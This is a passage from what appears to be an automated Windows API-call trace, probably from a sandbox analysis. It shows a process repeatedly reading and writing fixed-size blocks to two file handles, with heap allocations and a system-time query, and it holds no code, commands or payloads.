[0077.905] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.905] GetLastError () returned 0x0
[0077.905] SetLastError (dwErrCode=0x0)
[0077.905] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.905] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.905] GetLastError () returned 0x0
[0077.905] SetLastError (dwErrCode=0x0)
[0077.906] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.906] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.906] GetLastError () returned 0x0
[0077.906] SetLastError (dwErrCode=0x0)
[0077.906] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.906] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.906] GetLastError () returned 0x0
[0077.906] SetLastError (dwErrCode=0x0)
[0077.906] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.907] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.907] GetLastError () returned 0x0
[0077.907] SetLastError (dwErrCode=0x0)
[0077.907] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.907] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.907] GetLastError () returned 0x0
[0077.907] SetLastError (dwErrCode=0x0)
[0077.907] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.907] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.908] GetLastError () returned 0x0
[0077.908] SetLastError (dwErrCode=0x0)
[0077.908] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.908] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.908] GetLastError () returned 0x0
[0077.908] SetLastError (dwErrCode=0x0)
[0077.908] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.908] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.908] GetLastError () returned 0x0
[0077.909] SetLastError (dwErrCode=0x0)
[0078.492] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x8, Size=0x1000) returned 0x10009c0
[0078.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefe250 | out: lpSystemTimeAsFileTime=0xefe250*(dwLowDateTime=0x89795ab8, dwHighDateTime=0x1d96e12))
[0078.492] GetLastError () returned 0x0
[0078.492] RtlAllocateHeap (HeapHandle=0xfe0000, Flags=0x0, Size=0x100000) returned 0x2e96020
[0078.495] GetLastError () returned 0x0
[0086.344] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.344] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.369] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.370] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.646] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.647] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.790] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.791] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.886] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.886] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.916] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.916] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.940] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.941] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0086.964] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0086.965] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.040] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.040] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.068] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.068] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.093] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.093] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.117] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.117] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.188] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.188] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.214] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.214] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.239] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.239] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.332] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.402] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.455] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.456] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.480] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.480] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.509] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.509] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.535] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.535] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.559] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.560] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.723] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.723] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.773] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.774] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.839] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.839] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.865] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.865] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.930] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0087.930] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0087.999] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.000] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.186] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.186] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.211] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.211] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.276] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.277] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.312] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.312] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.428] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.453] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.478] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.478] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.503] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.504] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.528] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
[0088.528] WriteFile (in: hFile=0x1a0, lpBuffer=0x2e96820*, nNumberOfBytesToWrite=0xff000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0x2e96820*, lpNumberOfBytesWritten=0xefe048*=0xff000, lpOverlapped=0x0) returned 1
[0088.554] WriteFile (in: hFile=0x1a0, lpBuffer=0x10009c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe028, lpOverlapped=0x0 | out: lpBuffer=0x10009c0*, lpNumberOfBytesWritten=0xefe028*=0x1000, lpOverlapped=0x0) returned 1
